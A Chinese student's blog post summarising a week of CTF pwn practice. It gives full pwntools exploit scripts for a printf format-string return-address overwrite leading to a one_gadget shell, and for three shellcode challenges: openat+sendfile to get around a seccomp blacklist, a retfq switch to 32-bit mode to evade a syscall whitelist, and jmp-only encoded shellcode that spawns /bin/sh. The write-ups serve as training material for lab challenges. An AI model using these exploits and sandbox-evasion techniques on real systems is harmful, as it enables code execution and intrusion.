24-07-22

本周学习总结

感觉一周什么都没干…

全局常量声明:文章内容仅是由教程观点和自己总结获得,仅供参考。

一、字符串格式化漏洞–printf覆盖自己的返回地址

条件:

1、已知栈上的地址。

2、只有一次栈上的字符串格式化漏洞利用机会。

checksec:

除了PIE其他保护全开。

ida:

main:

不用想着去劫持变量w了,因为w是在字符串格式化漏洞完成后赋值为0的,也不能重新劫持返回地址到main或start执行,即使重新执行,w也不会变回0xFFFF。

这个时候就需要我们用一种超前的思想,用字符串格式化漏洞去修改还没有扩展出来的栈。

我们都知道函数执行都是创建栈的,printf函数也不意外,在知道栈地址的情况下我们可以提前预测printf的返回地址的位置,将该地址改为w赋值为0之前,也就是重新执行一遍read函数重新输入,顺便暴露栈上的libc地址,在第二次修改时修改返回地址为one_gadget来getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# ==================== 程序连接配置 ====================

p = remote("127.0.0.1", 35865)
# p = process("./ez_fmt")

# ==================== ELF 和上下文配置 ====================

# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

# elf.arch, elf.so

# ==================== 漏洞利用 ====================

# 步骤1: 泄露栈地址
reu(b"There is a gift for you ")
stack1 = int(re(14), 16) + 0x68
stack2 = stack1 - 0x70
read_addr = 0x401205

ph(stack1, "stack1")

w_addr = 0x404010
one = 0xe3b01

# 步骤2: 第一次格式化字符串 - 泄露libc地址
payload = b"%5c%8$hhn-%19$p-" + p64(stack2)
se(payload)

reu(b"-")
libc_base = int(reu(b"-", True), 16) - 243 - libc.sym["__libc_start_main"]
ph(libc_base, "libc_base")

sleep(0.1)

# 步骤3: 计算one_gadget地址
one = libc_base + 0xe3b01

# 步骤4: 第二次格式化字符串 - 覆盖返回地址为one_gadget
payload = b"%1c%9$hhn%" + stre(((one >> 8) & 0xffff) - 1) + b"c%10$hn\x00\x00" + p64(stack1) + p64(stack1 + 1)
se(payload)

reu(b"0")

# 进入交互模式
op()

二、shellcode1–通过openat+sendfile获得flag

条件:

1.黑名单禁用write、writev和open

2.未禁用sendfile和openat

ida:

不用分析,输入完成后直接执行输入的shellcode。

openat:

rdi = -100(代表当前目录)

rsi = “flag”的地址

rdx= 0(只读方式打开)

rax= 257

sendfile:

rdi = 1 (输出流)

rsi = 3(文件流)

rdx = 0

r10 = 0x40(读取字节数)注:实际上可以用rcx控制–glibc2.35-3.8在作为函数调用时

rax = 40

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# 远程连接(已注释)
# p = remote("127.0.0.1", 37589)
p = process("./shellcode2")

# 本地调试选项(已注释)
# elf = ELF("./pwn")
# libc = ELF("./libc.so.6")

# 调试与架构设置
# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

# 漏洞利用流程
shellcode = asm('''
mov rbx,0x0000000067616C66
push rbx
mov rdi,-100
mov rsi,rsp
xor rdx,rdx
mov rax,257
syscall
mov rdi,1
mov rsi,3
xor rdx,rdx
mov r10,0x40
mov rax,40
syscall
''')

se(shellcode)
op()

三、shellcode2–64位转32位程序执行

条件:

1.白名单允许fstat、read、write、mmap

2.程序未检查架构

ida:

不用分析,输入完成后执行输入的shellcode。

fstat在64位系统下的调用号是5,而在32位系统下5是open的调用号,我们可以转入32位模式执行open,然后跳回64位执行read和write。

同时我们也需要规划内存地址,因为32位下不能识别8字节地址,所以我们需要通过mmap创建几段可读可写的4字节地址。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# ==================== 程序连接配置 ====================

p = remote("127.0.0.1", 38573)
# p = process("./shellcode3")

# ==================== ELF 和上下文配置 ====================

# elf = ELF("./pwn")
# libc = ELF("./libc.so.6")

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# elf.arch, elf.so

# ==================== 漏洞利用 ====================

# 第一阶段:准备mmap区域(64位shellcode)
shellcode_ready = '''
mov rdi, 0x100000 # addr
mov rsi, 0x10000 # length
mov rdx, 0x7 # prot = RWX
mov r10, 0x22 # flags = MAP_PRIVATE | MAP_ANONYMOUS
mov r8, -1 # fd
mov r9, 0 # offset
mov rax, 9 # syscall mmap
syscall

xor rdi, rdi # fd = 0 (stdin)
mov rsi, 0x102000 # buf
mov rdx, 0x200 # count
xor rax, rax # syscall read
syscall

xor rdi, rdi # fd = 0 (stdin)
xor rax, rax
mov rsi, 0x104000 # buf
mov rdx, 0x200 # count
syscall

mov rsp, 0x106000 # 设置栈
mov rbp, 0x106000
push 0x23 # 32位模式
push 0x102008 # 返回地址
retfq # 远返回切换到32位
'''

se(asm(shellcode_ready, arch="amd64"))

# 第二阶段:32位open系统调用
shellcode_open = '''
xor eax, eax
mov eax, 0x5 # syscall open
mov ebx, 0x102000 # filename = "flag"
mov ecx, 0 # flags
int 0x80 # 32位中断

jmp 0x33:0x104000 # 远跳转到64位
ret
'''

sleep(0.1)
se(b"flag\x00\x00\x00\x00" + asm(shellcode_open, arch="i386"))

# 第三阶段:64位读写(ORW)
shellcode_rw = '''
mov rdi, 3 # fd = 3 (flag文件)
mov rsi, 0x106000 # buf
mov rdx, 0x30 # count
xor rax, rax # syscall read
syscall

mov rax, 1 # syscall write
mov rdi, 1 # fd = 1 (stdout)
mov rsi, 0x106000 # buf
mov rdx, 0x30 # count
syscall

ret
'''

sleep(0.1)
se(asm(shellcode_rw, arch="amd64"))

# 进入交互模式
op()

四、shellcode3–jmp的妙用–只允许j开头的汇编代码

条件:

1.shellcode无沙盒,限制输入为”j“开头的汇编代码且无法绕过

ida:

不用分析,输入完成后检查是否符合所有输入的汇编代码为“j”开头,然后执行输入的shellcode。

首先来说jmp的一个特殊语法:jmp $+0x??,这句的意思是跳转到rip+0x??执行汇编代码,因为在这道题中我们的汇编代码在栈上,所以rsp也在栈上。

通过一句jmp $+0x3我们可以跳转到可控的汇编代码中。因为jmp本身有3字节的固定位置,但是这些位置根据0x??会变化。

总结的规律就是0x??的数据在一字节的情况下需要+0x2,比如pop rsi是0x5e,那么此时我们就应该在jmp $+0x3后面写入jmp $+0x5e+0x2这样就会完美执行pop rsi并且能执行下一句汇编代码。而超过一字节就需要+0x5,比如sub rsp,0x50是0x50ec8348,对应的规则就是jmp $+0x50ec8348+0x5。

ps:非常好的思路,爱来自熊开泰学长。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# 远程连接
p = remote("127.0.0.1", 39727)

# 本地调试选项(已注释)
# p = process("./shellcode5")
# elf = ELF("./pwn")
# libc = ELF("./libc.so.6")

# 调试与架构设置
# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

# 漏洞利用流程
shellcode = '''
jmp $+0x3
jmp $+0x50ec8348+0x5
jmp $+0x3
jmp $+0x5e+0x2
jmp $+0x3
jmp $+0x5a+0x2
jmp $+0x3
jmp $+0x5a+0x2
jmp $+0x3
jmp $+0xff3148+0x5
jmp $+0x50f+0x5
jmp $+0x8
'''

sh = asm(shellcode, arch="amd64")
print(hex(len(sh)))
se(sh)
sleep(0.1)

shellcode2 = '''
mov rbx, 0x0068732f6e69622f
push rbx
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 59
syscall
'''

se(b"A" * 0x20 + asm(shellcode2, arch="amd64"))
op()

下周学习计划

| 应该要做的事情 |

学就完事了

学习感受

新生赛,好玩。


24-07-22
https://zlsf-zl.github.io/2024/07/22/7-22-7-28/
作者
ZLSF
发布于
2024年7月22日
许可协议